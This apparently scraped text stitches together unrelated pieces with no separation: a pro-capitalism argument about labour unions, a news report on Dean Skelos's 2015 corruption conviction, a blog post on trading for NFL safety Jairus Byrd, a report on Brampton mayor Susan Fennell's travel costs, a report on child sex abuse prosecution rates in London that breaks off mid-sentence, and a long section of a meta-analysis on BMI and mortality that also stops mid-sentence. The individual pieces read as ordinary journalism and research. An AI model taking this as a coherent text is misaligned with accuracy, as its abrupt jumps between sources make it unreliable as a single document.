Hopefully I have presented powerful arguments that the labor unions have done nothing to improve living standards whereas capitalism, the accumulation of profit and the competition between capitalists is the real reason for our improved lives. It does not matter if the capital is owned by a few or by many so long as it is legal for all to own and accumulate capital and to use it peacefully. Then capital will tend to accumulate among those who are good at making capital accumulate. This benefits all because it maximizes capital accumulation in society, and hence maximizes wage increases and benefits to all.Former New York state Senate leader Dean Skelos, left, and his son Adam Skelos leave federal court, Friday, Dec. 11, 2015, in New York. Skelos and his son were convicted Friday of federal extortion charges, marking the second time in a month that one of Albany's most powerful politicians was run out office following a case that put the state capital's political culture on trial. (AP Photo/Richard Drew) ORG XMIT: NYRD111 less Former New York state Senate leader Dean Skelos, left, and his son Adam Skelos leave federal court, Friday, Dec. 11, 2015, in New York. Skelos and his son were convicted Friday of federal extortion charges,... more Photo: Richard Drew Photo: Richard Drew Image 1 of / 23 Caption Close Skelos, son guilty on all charges 1 / 23 Back to Gallery
Albany
For the second time in as many weeks, New York state government was rocked by the corruption conviction of a politician who mere months ago was one of the state's three most powerful elected officials.
Former Senate Majority Leader Dean Skelos and his son were found guilty Friday afternoon on all eight federal charges filed against them by U.S. Attorney for the Southern District Preet Bharara. The convictions stemmed from the Long Island lawmaker's efforts to secure income and benefits for his 33-year-old son, Adam, from politically connected businesses.
The verdict followed the Nov. 30 conviction of former Assembly Speaker Sheldon Silver, and marks the end of an unprecedented year that saw both leaders of the Legislature arrested and then tossed out by their conferences.
In a brief statement, Bharara said the back-to-back convictions "beg an important question – how many prosecutions will it take before Albany gives the people of New York the honest government they deserve?"
That release joined a blizzard of calls for fundamental reform of what federal prosecutors contend is a runaway pay-to-play culture at the state Capitol, enabled by sleepy ethics enforcement and campaign finance laws seemingly designed to encourage shadowy flows of money from those seeking to influence legislation.
In a statement similar to one issued after Silver's conviction, Gov. Andrew Cuomo promised to pursue unspecified reforms, and placed the responsibility for their progress on the Legislature.
"There can be no tolerance for those who use, and seek to use, public service for private gain," Cuomo said. "The justice system worked today. However, more must be done and will be pursued as part of my legislative agenda. The convictions of former Speaker Silver and former Majority Leader Skelos should be a wake-up call for the Legislature and it must stop standing in the way of needed reforms."
The verdict against Skelos was read just after 2 p.m. on the second day of deliberations by the jury.
The lawmaker's felony conviction resulted in his immediate expulsion from the Senate. Within the hour, his official Senate website was shut down and his name was scraped from the window of his longtime office on the ninth floor of the Legislative Office Building — a swift erasure seen after Silver's conviction, as well.
Skelos' expulsion reduces the Republican conference to a bare 32-member majority. Though only 31 Republicans now serve in the Senate, Simcha Felder, a Brooklyn Democrat, has conferenced with the GOP since his election in 2012. The Republicans also have allied themselves with a band of five independent Democrats, under the leadership of Sen. Jeff Klein.
Cuomo has already called for an April special election to fill Silver's Assembly seat, and it's likely that date will also be used to find a replacement for Skelos, who was first elected to the Senate in 1984.
Sentencing is set for March 3. Both men, who remain free without bail, face a maximum sentence of 20 years in prison for each fraud and extortion count and 10 years for each bribery charge.
The lawmaker and his son were arrested on May 4, just over three months after Silver's arrest, to answer a federal complaint that alleged they conspired in a years-long effort to trade legislative favors for personal and political benefits.
Bharara described the scheme as an effort to "monetize" Dean Skelos' considerable power and influence as the chamber's GOP leader, a post he held for almost seven years.
More Information Another leader found guilty Some of the reactions to the conviction of Dean Skelos: "Unfortunately, Skelos will still be eligible for a taxpayer-funded pension despite his felony convictions and overtly tarnished record. This is shameful, and our constituents deserve better accountability and ethical standards from Albany. The state is currently paying out roughly $531,000 per year to corrupt state officials." — GOP Assemblyman Dan Stec of Queensbury "Keep going Preet. I hope the best is yet to come. Every New Yorker deserves better." — GOP Assemblyman Steve McLaughlin of Schaghticoke "We have two choices. Business as usual, or passage of the Moreland Committee recommendations, especially public financing of elections. There is no way to wipe off the stain of corruption with cosmetic changes. A genuine change in how elections are run must be priority number one. — Bill Lipton, New York director for the Working Families Party "Thin ethics reform measures will likely not solve the problem. Significant political and structural reforms are necessary to change this environment. That process starts with every New Yorker getting more involved in holding their elected officials accountable." — Reclaim New York, a good-government group "Personally, I am (a) strong supporter of term limits for all elective offices.... So many of the problems in Albany stem from career politicians who became part of the business as usual crowd and who, frankly, have served for far too long. — Adele Malpass, chair of the Manhattan Republican Party. "The trials of Dean Skelos and Sheldon Silver have laid bare Albany's cauldron of corruption. This is Albany's Watergate moment and, just like Congress did in the 1970s, we must seize this opportunity to restore the public trust." — Democratic Sen. Brad Hoylman, Manhattan.
The complaint alleged that Skelos doled out political favors and influence in an effort to benefit the environmental technology company AbTech, which secured a $12 million contract for a stormwater-remediation system in Skelos' power base, Nassau County, and Glenwood Management, a powerful real estate development company that has financial and personnel ties to AbTech. In return, Adam Skelos received payments of more than $200,000, and Dean Skelos and his conference received considerable political donations from Glenwood, whose centenarian owner Leonard Litwin is the state's most generous political contributor.
Executives and lobbyists for Glenwood and AbTech were given non-prosecution agreements by Bharara's office in exchange for their cooperation.
Two additional charges of extortion and solicitation of bribes related to Adam Skelos' no-show employment by a Long Island medical malpractice insurance company, a job secured at the request of his father, were added in a superseding indictment handed down in July.
Some of the most damning evidence against the father and son were drawn from wiretaps, in which father and son chatted with each other and a long list of lobbyists, business executives and lawmakers. In one conversation between the two, Adam Skelos complained that his father couldn't give him "real advice" on the AbTech deal because "you can't talk normal because it's like (expletive) Preet Bharara is listening to every (expletive) phone call. It's just (expletive) frustrating."
"It is," Dean Skelos replied on the recording.
The Senate's Republican majority conference tossed him from power a week after his arrest. Sen. John Flanagan, also from the conference's powerful Long Island caucus, rose to take the top job in the chamber. In his own statement Friday, Flanagan said he was "deeply saddened" by the verdict.
"... I take this situation very seriously and am determined to work with my fellow legislators to swiftly and completely restore the public trust," he said.
Flanagan will have his work cut out for him: Skelos was the fourth leader of a Senate majority conference to face a federal corruption indictment in the past decade — though he was the first leader to face charges while still in power.
His predecessor as leader, Joseph L. Bruno of Brunswick, was convicted of honest services fraud almost exactly six years ago, only to have the verdict erased by a U.S. Supreme Court decision that pruned back the statute used by prosecutors; he was acquitted in 2014 at the end of his second trial. Bruno resigned in 2008, six months before his arrest.
Former Sen. Malcolm Smith, a Democrat who led the chamber for the first half of 2009, was convicted in February of trying to bribe his way to the 2013 Republican nomination for New York City mayor.
Another Democrat, Pedro Espada Jr., was convicted of raiding a health care nonprofit he ran. His claim to the title of "majority leader" was largely cosmetic, and was conferred on him by the bare Democratic majority in an effort to end the five-week Senate coup crisis in July 2009 — a Republican scheme carried out in part by Skelos.
Sen. John Sampson of Brooklyn took the title of "conference leader," but functioned as majority leader from July 2009 until the Democrats lost their narrow majority in 2010; he remained the leader of the minority conference through 2012. Sampson was convicted in July of obstructing justice and lying to federal investigators.
Skelos' onetime deputy conference leader, Sen. Thomas Libous of the Southern Tier, was convicted of lying to the FBI in June in another case that turned on a powerful father's effort to boost the career of his son. Libous, who is battling terminal cancer, was sentenced to house arrest in late November.
The Empire Center, which keeps a database of salary and pension information on public employees, estimated that Skelos' state pension was likely to total an annual payout of almost $96,000.
Efforts to change the state constitution to strip public pensions from those convicted of corruption related to their duties was demanded by Cuomo in the wake of Silver's arrest. That initiative was ultimately stymied by disagreements between the Senate and the Democrat-dominated Assembly, though negotiations are likely to continue when the Legislature returns to Albany in January.
mhamilton@timesunion.com • 518-454-5449 • @matt_hamilton10Being asked if Jairus Byrd requested a trade. No. Would he welcome one in the right situation? At this point, I believe he would. — Ian Rapoport (@RapSheet) August 21, 2013
I know the San Diego Chargers are very near the salary cap. I know that Marcus Gilchrist has supposedly looked better at strong safety than he looked at cornerback. I still think Tom Telesco should pick up the phone to see what it would take to get Jairus Byrd away from the Buffalo Bills.
The situation is such that the Bills put the franchise tag on the Pro Bowl free safety, but Byrd had been reluctant to sign without a guarantee that the Bills won't franchise him again next year (which Buffalo won't give him). Well, after holding out this long, Jairus finally gave in and signed his franchise tender today...but he doesn't appear to be happy about the situation either.
There's a few reasons why it would make sense for the Chargers to trade for Byrd:
Two Pro Bowl safeties are better than one, and would take a ton of pressure off of the cornerbacks.
With Byrd and Eric Weddle being able to play in the box or in centerfield, they could do a lot to fool opposing offenses by showing one look and switching to another when the ball is snapped.
Marcus Gilchrist could return to nickel cornerback, where he wasn't great but is probably better than Johnny Patrick. This group, which is injury prone and really low on depth, would welcome the addition of Gilchrist.
Jairus' father, Gil Byrd, is a Chargers legend. The fans of the team want to cheer for Gil's son. It would be an easy buy-in and a lot of jerseys would be sold.
Jairus is 26 years old and Weddle is 28. Having them both means the back-end of your defense is great for the next three years, at least, and Byrd can eventually take over for Weddle if they can't resign him.
It immediately moves the team from "We're hoping to be a winning team soon" to "We're going to win now, even if we need to do it on the back of our defense" mentality, which the fans would love.
Does the move make financial sense? Probably not. Telesco probably would scoff at the asking price too, which would undoubtedly be a high pick or two in addition to a contract extension. That being said (and I'm allowing myself to be a fan instead of an impartial observer on this one), go get Jairus Byrd! It'd be worth it just to watch how great him and Weddle could be together.
More from Bolts From The Blue:A day after learning Susan Fennell is the highest paid mayor in Canada, some Brampton residents are now asking questions about her overseas travel schedule. Fennell travelled to China in December, then visited India in January. She’s set to leave for the Philippines in a couple of weeks.
Brampton residents are questioning the international travel bill for Mayor Susan Fennell a day after they learned that she is the highest paid mayor in Canada. ( RICK MADONIK / TORONTO STAR )
“Are the costs of these trips yielding any returns?” asked Brampton resident George Startup. “Trade missions, in my opinion, fall within the jurisdiction of our federal or provincial governments,” Startup said. “Yes, municipalities could be involved, but not to this extent.” He echoed the concerns of a local citizens’ group, councillors and other residents questioning the cost to Brampton taxpayers to send the mayor and staff overseas.
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A spokesperson for Fennell replied to the Star in a statement. “Budget for the trade missions is approved by council,” the statement read. “The goal of these trade missions is to create opportunities to build long-term relationships with entrepreneurs and to encourage them to develop their next job-creating ideas here in Brampton.” Neither Fennell’s office nor city staff provided a breakdown of the costs for any of the trips. But a report to council last month shows the budgeted amount for the Jan. 2-17 India trip was $53,000, with the actual cost being $72,548. The extra amount was charged to the mayor and councillor expense budget. For international business trips, such as the trip to India, Brampton council has approved a separate annual budget of $123,000. The report went on to say that the cost of the airfare to send seven Brampton delegates to India was $27,607. That works out to about $4,000 a ticket.
The seven Brampton delegates to India included Fennell, a member of her staff, three councillors and two senior City of Brampton staff. Councillor Elaine Moore, who did not go on any of the trips, says that while council did approve an international travel budget to foster business, costs need to be kept in check.
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She questioned sending seven people to India. “There is nothing in the (approved) policy to limit participation,” Moore said. Perhaps sending the mayor and one staff member or just two senior staff is more financially responsible.” In response to the story about Fennell’s salary, the group Citizens for a Better Brampton, a watchdog organization that focuses on city hall, put out a news release that mentioned the mayor’s travel. “Her junkets around the world at taxpayers’ expense... serve only to reinforce in the public’s eye that this Mayor exemplifies and enjoys her feeding frenzy at the public trough,” the release said.
Read more about:Government introduced new guidelines in 2013 to help young victims
NSPCC: Some cases collapse when victims do not have enough support
But only 989 of the cases, which include rapes, led to criminal charges
Figures show Met Police told of 7,205 serious sex attacks on under-16s
Fewer than one in seven child sex abuse cases probed by Britain's largest police force have led to criminal charges, figures have revealed.
Scotland Yard investigated 7,205 reports of serious attacks on under-16s between 2010 and October last year - just 989 of which (14 per cent) ended with a person being prosecuted.
Fewer offenders still were convicted after prosecutors, who were handed details by London's Metropolitan Police, tested cases against them through the courts.
Failed: One in seven child sex abuse claims in London end in prosecution, figures show (posed by model)
The figures, obtained by Mike Sullivan for the Sun on Sunday, show police success rates lagging despite a major crackdown on child sex abuse.
The Met reportedly brought in up to 100 extra officers in 2013 to tackle sex abuse cases including child exploitation and the threat of grooming gangs.
The shake-up was an attempt to improve the Met's controversial Operation Sapphire rape unit after it was accused of failings in previous years.
An IPCC report in 2013 found 'under-performing and over-stretched' officers in Southwark, south London, had encourage adult victims to retract their allegations to boost detection rates.
Today's figures are said to include rape, gang rape, child trafficking and sexual assault.
Changes: The Met Police reportedly brought in up to 100 extra officers in 2013 to tackle sex abuse cases
Last year the NSPCC warned child rape rates were even worse than official figures suggest because many cases are never reported to the authorities.
'Not all cases come to the attention of the police and, even if they do, they may decide it is not in the best interests of the child to investigate an incident as a criminal offence,' a spokesman said.
The charity previously said some child sex abuse cases were collapsing because children were being denied the support they needed to give evidence in court.
Claiming fewer than a quarter of 23,000 offences in 2012 ended in a prosecution, the charity said all children giving evidence should have an intermediary to help deal with 'hostile' questioning.
Responding to the call, the government issued new guidelines saying child sex abuse cases should only be dealt with by specialist prosecutors who ignore ' |
diagnosis of disease by many years, stratification by duration of follow-up can allow for assessments of the longer term impact of confounding by undiagnosed disease. We used Stata, version 12.0 (Stata Corp, College Station, TX) for the statistical analyses.
We used the method described by Greenland and Longnecker 124 for the linear dose-response analysis of BMI and mortality and calculated study specific slopes (linear trends) and 95% confidence intervals from the natural logs of the reported relative risks and confidence intervals across categories of BMI. When the reference category was not the lowest category (because, for example, of power issues) we excluded the categories below the reference category for the linear dose-response analysis to model the association between higher BMI and mortality. The mean or median BMI level in each category was assigned to the corresponding relative risk for each study, and for studies that reported the exposures in ranges we used the midpoint of the upper and the lower cut-off point. When upper and lower categories were open ended or had extreme upper or lower values, we used the width of the adjacent category to calculate an upper or lower bound. When studies reported analyses by the WHO categories of overweight and obesity we used a BMI of 15 as a lower bound for the underweight category (<18.5) and 18.5 as the lower bound for the normal weight category (<25). A potential non-linear dose-response relation between BMI in relation to mortality was examined by using fractional polynomial models. 125 We determined the best fitting second order fractional polynomial regression model, defined as the one with the lowest deviance. A likelihood ratio test assessed the difference between the non-linear and linear models to test for non-linearity. 125 For the non-linear dose-response analysis we included all categories of BMI (even the underweight categories) to model the association between BMI and mortality across the full BMI range and used the method of Hamling and colleagues to convert risk estimates when the lowest category was not the reference category. 126 The analyses were re-scaled so the reference category was a BMI of 23, which seemed to be the nadir of the curve among never smokers, so there was no loss of statistical power from these re-calculations. The fractional polynomial method estimated a dose-response curve for each study across the BMI values observed in the whole dataset (which was extrapolated across the full BMI range for studies with a limited BMI range), so all studies contributed to the pooled risk estimates across the full BMI range. The dose-response curves for each of the individual studies were then pooled into an overall dose-response curve, which are the curves showed in the non-linear figures. The relative risk estimates in the tables were based on the non-linear figures but show risk estimates for selected BMI values.
We used a random effects model to calculate summary relative risks and 95% confidence intervals for a 5 unit increment in BMI. 123 For the primary analysis we used the model from each study that had the greatest degree of control for potential confounding, with the exception of studies that also adjusted mutually between BMI and waist circumference and waist to hip ratio or that adjusted for potentially intermediate variables such as diabetes, hypertension, and serum cholesterol, for which we used the multivariate model without such adjustment if available. If the alternative model was adjusted only for age and the multivariate model included other confounders as well, we chose the multivariate model with intermediates. We estimated the average of the natural logarithm of the relative risks and weighted the relative risk from each study according to the method of DerSimonian and Laird. 123 A two tailed P<0.05 was considered significant. If studies reported results separately for men and women or other subgroups we combined the subgroup specific estimates using a fixed effects model to generate an estimate for both subgroups combined so that each study was represented only once in the analyses.
We extracted the following data from each study: the first author’s last name, publication year, country or region where the study was conducted, study period, sample size, number of deaths/participants, whether exclusions were made for prevalent disease, whether exclusions were made for early follow-up, BMI and any subgroup, exposure level, relative risks and 95% confidence intervals for categories of BMI, and variables adjusted for in the analysis. One author (DA) extracted data, and another author (MP) checked them for accuracy. For one study 16 we contacted the authors for clarification of which studies were included in the analysis.
We included cohort studies of the association between BMI and risk of all cause mortality published in English language and excluded abstract only publications and grey literature. In each publication, adjusted relative risk estimates (hazard ratios or risk ratios) for three or more BMI categories had to be available, either with the 95% confidence intervals or with the information to calculate them. The dose-response analysis, a quantitative measure of the exposure (BMI), also had to be available. Studies from populations living in the community were included, while studies that included only patients (for example, those with diabetes, stroke, heart disease, and cancer), nursing home residents, and disabled people were excluded. When multiple publications were published from the same study, in general we used the publication with the largest number of deaths. Exceptions to this rule were made when publications with smaller number of deaths provided more detailed analyses with restriction to never smokers, healthy people, and/or exclusion of early follow-up than the publications with larger number of deaths. In the analysis of never smokers, the definition of never smokers was strict so we did not include data from studies that combined never smokers and former smokers who had quit for a long duration. When more detailed analyses (restricted to never smokers or other subgroups) were published in an overlapping publication but not in the publication used for the main analysis we used the information from the overlapping publication in the specific analysis, but each study was included only once in each analysis. Studies that reported only a continuous linear risk estimate were excluded as there is evidence that the association between BMI and mortality is non-linear. A list of the excluded studies and reasons for exclusion is provided in table A in appendix 2.
No patients were involved in setting the research question or the outcome measures, nor were they involved in developing plans for design, or implementation of the study. No patients were asked to advise on interpretation or writing up of results. There are no plans to disseminate the results of the research to study participants or the relevant patient community.
In sensitivity analyses that excluded one study at a time there was minimal variation in the summary relative risk for never smokers (table K in appendix 2) and all participants (table L in appendix 2). In a further sensitivity analysis that excluded studies in which the BMI in the reference category was <18.5 or <20.0, the summary relative risks were 1.19 (95% confidence interval 1.17 to 1.22; I 2 =92%, P heterogeneity <0.001, n=43) and 1.19 (1.16 to 1.22; I 2 =92%, P heterogeneity <0.001, n=41), respectively, per 5 BMI units among never smokers, and 1.07 (1.06 to 1.08; I 2 =96%, P heterogeneity <0.001, n=178) and 1.07 (1.06 to 1.08; I 2 =96%, P heterogeneity <0.001, n=172), respectively, among all participants.
In a further subgroup analysis among never smokers the association between BMI and all cause mortality was considerably stronger among people aged <65 (summary relative risk 1.27, 95% confidence interval 1.22 to 1.34; I 2 =91%, P heterogeneity <0.001, n=14) than among people aged ≥65 (1.04, 1.01 to 1.07; I 2 =72%, P heterogeneity =0.004, n=6), with significant heterogeneity between subgroups (P<0.001; fig O in appendix 3). The association was also considerably stronger among younger people in the non-linear dose-response analysis (figs P and Q in appendix 3, table J in appendix 2).
When we stratified studies by potential intermediates, there was heterogeneity by whether studies adjusted for diabetes, with no association among studies with such adjustment (table F in appendix 2). Although the test for heterogeneity was not significant, there was also no association among studies with adjustment for systolic blood pressure and hypertension. There was also heterogeneity by adjustment for prevalent coronary heart disease (P=0.003), stroke (P=0.07), and prevalent cancer (P=0.03), with no association among studies with such adjustment (table F in appendix 2). Although the test for heterogeneity between subgroups was not significant, the association between BMI and mortality was stronger among studies that had adjusted for the most important confounding factors (age, smoking, alcohol, physical activity) but that did not adjust for intermediate factors or prevalent disease. These associations were further strengthened among studies with longer duration of follow-up (table C and F in appendix 2).
In the analysis of all participants there was no evidence of heterogeneity when we stratified studies by adjustment for age, education, socioeconomic status, alcohol, smoking status, pack years, years since quitting, physical activity, height, dietary pattern, fat intake, or fruit and vegetable intake. There was heterogeneity among studies when we stratified by adjustment for number of cigarettes smoked a day (P<0.001), with a stronger association among studies with such adjustment compared with studies without such adjustment (table F in appendix 2). There was also indication of a stronger association among studies with adjustment for years since quitting compared with studies without such adjustment, though the test for heterogeneity between subgroups was not significant.
The positive association between BMI and all cause mortality among never smokers persisted in subgroup analyses defined by sex, assessment of anthropometric measures, geographical location, number of deaths, and adjustment for confounding factors including age, education, alcohol, physical activity, height, dietary pattern, and intake of fat, fruit, and vegetables. There was little evidence of heterogeneity between any of these subgroups with meta-regression analyses (table C in appendix 2). We observed no association among the few studies that adjusted for potential intermediate factors (diabetes, hypertension, cholesterol). In general, heterogeneity was high in most of the subgroup analyses.
There was no heterogeneity in the analyses among never smokers when we stratified by sex, and, although there was heterogeneity when we stratified analyses of all participants by sex, this seemed to be due to no association among the studies of men and women combined, and when analysis was restricted to studies in either men or women there was no heterogeneity (tables C, D, and F in appendix 2, fig I in appendix 3). Although there was evidence of heterogeneity by geographical location in the linear dose-response analysis of all participants (P=0.04), with a significant positive association observed only for Europe and North America (table F in appendix 2), there was no heterogeneity by geographical location in never smokers (P=0.91) and positive associations were observed in European, North American, Australian, and Asian studies (table C in appendix 2), although slight variations in the risk estimates from the non-linear dose-response analyses were observed (table H in appendix 2, fig J in appendix 3). There was evidence of heterogeneity between studies when we stratified by study quality scores in the analysis of all participants (P=0.03), with a significant association among studies with high study quality scores but not among the studies with medium study quality scores (table F in appendix 2). The non-linearity was also more pronounced among the studies with medium study quality compared with the studies of high study quality (table I in appendix 2, figs K and L in appendix 3). There was, however, no heterogeneity by study quality scores in the subgroup analyses of never smokers (table C in appendix 2, figs M and N in appendix 3). There was evidence of heterogeneity when we stratified studies by the number of deaths in the analysis of all participants (P<0.001), with a stronger association among studies with a larger number of deaths compared with studies with a smaller number of deaths (table F in appendix 2), but this was not observed in never smokers (table C in appendix 2).
In the analysis of never smokers there was indication of heterogeneity (P=0.02) when we stratified studies by median or mean duration of follow-up (table C in appendix 2), and the summary relative risks for a 5 unit increment in BMI were 1.21 (95% confidence interval 1.14 to 1.28; n=1), 1.11 (0.94 to 1.30; n=11), 1.18 (1.14 to 1.22; n=18), 1.24 (1.09 to 1.40; n=4), 1.30 (1.19 to 1.42; n=2), and 1.25 (1.20 to 1.30; n=7) for <5, 5-<10, 10-<15, 15-<20, 20-<25 and ≥25 years of follow-up, respectively. In the non-linear dose-response analysis restricted to studies with ≥20 or ≥25 years of follow-up, there was no increased risk at the low BMI range down to a BMI of 20, while risk increased slightly even within the high normal range (BMI of 24-<25) but was more pronounced in the overweight, obese, and severely obese BMI ranges (table E in appendix 2, fig 3 ⇓ ). In the analysis of all participants there was also significant heterogeneity (P<0.001) when we stratified studies by median or mean duration of follow-up (table B in appendix 2), and the summary relative risks for a 5 unit increment in BMI were 0.90 (0.83 to 0.97; n=15), 1.00 (0.96 to 1.04; n=53), 1.07 (1.05 to 1.08; n=66), 1.09 (1.05 to 1.13; n=27), 1.12 (1.08 to 1.17; n=15), and 1.15 (1.11 to 1.19; n=22) for <5, 5-<10, 10-<15, 15-<20, 20-<25, and ≥25 years of follow-up, respectively. In the non-linear dose-response analysis, the shape of the dose-response curve changed gradually from a U shape to a J shape with increasing durations of follow-up (table G in appendix 2, fig 4 ⇓ ).
We included 22 studies (21 publications) 17 20 22 27 33 38 49 51 77 107 131 132 149 159 166 180 183 188 230 231 233 (>270 620 deaths, 3 911 812 participants), 17 studies (18 publications) 17 20 22 27 38 49 51 77 107 131 132 149 159 180 183 230 231 233 (>126 786 deaths, >1 523 435 participants), and 24 studies (25 publications) 17 18 19 20 22 27 33 36 38 49 51 77 94 107 131 132 159 180 183 201 221 230 231 232 239 (>696 134 deaths, 6 616 140 participants) studies in the analyses of current, former, and ever smokers, respectively. There was strong evidence of non-linearity in all analyses (P<0.001 for all), and there was a U shaped curve for the association between BMI and mortality among current, former, and ever smokers (fig 2 ⇑, table 2 ⇑ ).
We included 228 cohort studies (191 publications, 198 risk estimates) 16 17 18 19 20 21 22 23 24 27 28 29 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 in the analysis of BMI and risk of all cause mortality and included a total of >3 744 722 deaths among 30 233 329 participants. The summary relative risk for a 5 unit increase in BMI was 1.05 (95% confidence interval 1.04 to 1.07; I 2 =97%, P heterogeneity <0.001; fig G in appendix 3). There was indication of publication bias with Egger’s test (P=0.002) but not with Begg’s test (P=0.82), though the funnel plot indicated missing studies with positive results (fig H in appendix 3).
We included 26 cohort studies (25 publications, 25 risk estimates) 18 19 20 21 22 24 27 30 38 48 51 77 94 131 132 140 159 178 180 183 185 188 228 236 238 with >74 464 deaths among 727 687 participants in the analysis of healthy never smokers (which in general excluded people with prevalent cancer, cardiovascular disease, and in some cases diabetes, and/or people with recent weight loss). The summary relative risk for a 5 unit increment in BMI was 1.21 (95% confidence interval 1.18 to 1.25; I 2 =93%, P heterogeneity <0.001; fig E in appendix 3, table 2 ⇑ ). There was evidence of non-linearity (P<0.001), and there was a J shaped association between BMI and mortality in healthy people who had never smoked with the lowest mortality observed with a BMI of 22-23 (fig 2 ⇑ ). Further restriction of the analysis to 11 studies 18 19 21 24 27 30 51 185 228 229 238 among healthy people who had never smoked (88 860 deaths, 1 192 443 participants), which also excluded early follow-up (from first year up to six years of follow-up) gave a summary relative risk of 1.27 (1.21 to 1.33; I 2 =89%, P heterogeneity <0.001; fig F in appendix 3).
We included 53 cohort studies (43 publications, 44 risk estimates) 16 17 18 19 20 21 22 24 27 30 31 33 36 38 48 49 51 62 77 94 96 107 131 132 140 159 166 178 179 180 183 185 187 188 201 221 228 230 231 234 236 238 239 with >738 144 deaths and >9 976 077 participants in the analysis of never smokers. The summary relative risk for a 5 unit increase in BMI was 1.18 (95% confidence interval 1.15 to 1.21; I 2 =95%, P heterogeneity <0.001; fig A in appendix 3). There was no evidence of publication bias with Egger’s test (P=0.67) or Begg’s test (P=0.66) (fig B in appendix 3). There was evidence of non-linearity (P<0.001), and there was a J shaped association between BMI and mortality in never smokers with the lowest mortality observed with a BMI of 23-24 (fig 2 ⇓ ). Table 2 ⇓ shows the relative risk estimates from the non-linear dose-response analysis for selected BMI values, and these are derived from the non-linear figures. The association was similar in men and in women (tables C and D in appendix 2). In an analysis of five studies of African American people who had never smoked, 22 24 94 96 237 the summary relative risk was 1.13 (1.10 to 1.17) for a 5 unit increase in BMI (fig C in appendix 3), and there was evidence of a J shaped association (P non-linearity <0.001; fig D in appendix 3).
Ninety six studies were from Europe, 71 were from North America, three were from Latin or South America, 49 were from Asia, 10 were from Australia and New Zealand, and one was from the Pacific region (table B in appendix 2). Of the 198 risk estimates included in the non-linear dose-response analysis among all participants, 38 (19.2%) had three categories of BMI, 61 (30.8%) had four categories, 47 (23.7%) had five categories, 17 (8.6%) had six categories, 15 (7.6%) had seven categories, four (2%) had eight categories, 10 (5.1%) had nine categories, and six (3%) had 10 or more categories. Of the 44 risk estimates among never smokers, five (11.4%) had three categories of BMI, five had four categories (11.4%), 13 (29.6%) had five categories, four (9%) had six categories, three (6.8%) had seven categories, four (9%) had eight categories, five (11.4%) had nine categories, and five (11.4%) had 10 or more categories.
From a total of 112 173 records identified by the search we included 207 publications 16 17 18 19 20 21 22 23 24 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 with 230 cohort studies including >3 748 549 deaths among 30 361 918 participants in the meta-analysis of BMI and risk of all cause mortality (table B in appendix 2; fig 1 ⇓ ). Table 1 ⇓ summarises the main characteristics (number of studies, cases, and participants, geographical location, study size, and mean or median duration of follow-up) of the studies included in the analysis of never smokers and among all participants. Some publications reported on or included data from more than one study (which were analysed as one combined dataset); one publication included data from nine studies, 138 and another publication included eight cohort studies that were combined in one analysis, 16 one publication reported results from six studies that were combined, 95 five publications reported results from three studies that were combined, 74 140 142 150 178 four publications reported results from two studies, 163 170 189 191 which were included in the analysis. Four publications reported on men and women separately from the same two studies. 30 31 131 132 Two duplicate publications were included only in subgroup analyses by sex 229 235 as the main article provided only results for both sexes combined 140 or because the duplicate publication had a longer follow-up. 235 That publication was not used for the main analysis as it reported only on women, while the main publication reported on both men and women. 166 One publication was included only in the analysis of African Americans 237 as the main publication reported results from the full population. 17
Discussion
This meta-analysis of 230 cohort studies with >3.74 million deaths among >30.3 million participants provides further evidence that adiposity as measured by BMI increases the risk of premature mortality. There is also some increase in risk in underweight people, but this might at least partly be a non-causal association. In the analysis of all participants the lowest mortality was observed in those with a BMI of around 25. In subgroup analyses, however, the lowest mortality was observed in the BMI range of 23-24 among never smokers, 22-23 among healthy never smokers, and 20-22 among studies of never smokers with longer durations of follow-up (≥20 and ≥25 years).
The analysis of all participants needs to be interpreted carefully as there is a greater possibility of confounding by smoking and confounding from prediagnostic weight loss associated with disease. Some studies might have over-adjusted the analysis by including some intermediate factors such as diabetes, blood pressure, hypertension, and serum cholesterol in the multivariate models. In addition, there was heterogeneity by study quality scores, with more evidence of a U shaped association among moderate quality than among high quality studies. There was some evidence of small study bias, such as publication bias, in the analysis of all participants, although this was not observed in the analysis of never smokers. If anything, however, the funnel plot indicated the presence of missing studies with positive results, suggesting a possible underestimation of the association in the analysis of all participants.
The shape of the dose-response curve differed greatly when we included all people (no exclusions) and when we restricted the analysis to never smokers and healthy never smokers as there was more of a U shaped dose-response relation in the analysis of all participants and a J shaped dose-response relation among never smokers. This is consistent with a pooled analysis from the National Cancer Institute (NCI) Cohort Consortium14 and partly consistent with the results of the Prospective Studies Collaboration,2 in which the increased risk in participants with a BMI <20 was much more pronounced in current smokers than in never smokers. In this analysis of all people and former, current, and ever smokers there was a slight inverse association towards the overweight range compared with a BMI of 23 and weaker relative risks in the overweight and obese range than among never smokers. The relative risks were also more similar to that observed in the meta-analysis by Flegal and colleagues26 in the unrestricted analysis, in studies with a shorter duration of follow-up, and among smokers, subgroups that could be particularly prone to confounding by smoking and confounding from existing illness. When we restricted the analysis to never smokers there was evidence of increased mortality in the overweight range with more substantial increases in risk in the obese and morbidly obese range. Furthermore, when the analysis was restricted to studies with a longer duration of follow-up, which would be less influenced by confounding by pre-diagnostic weight loss, the increased risk among people with a BMI of 20 disappeared and was substantially attenuated in the 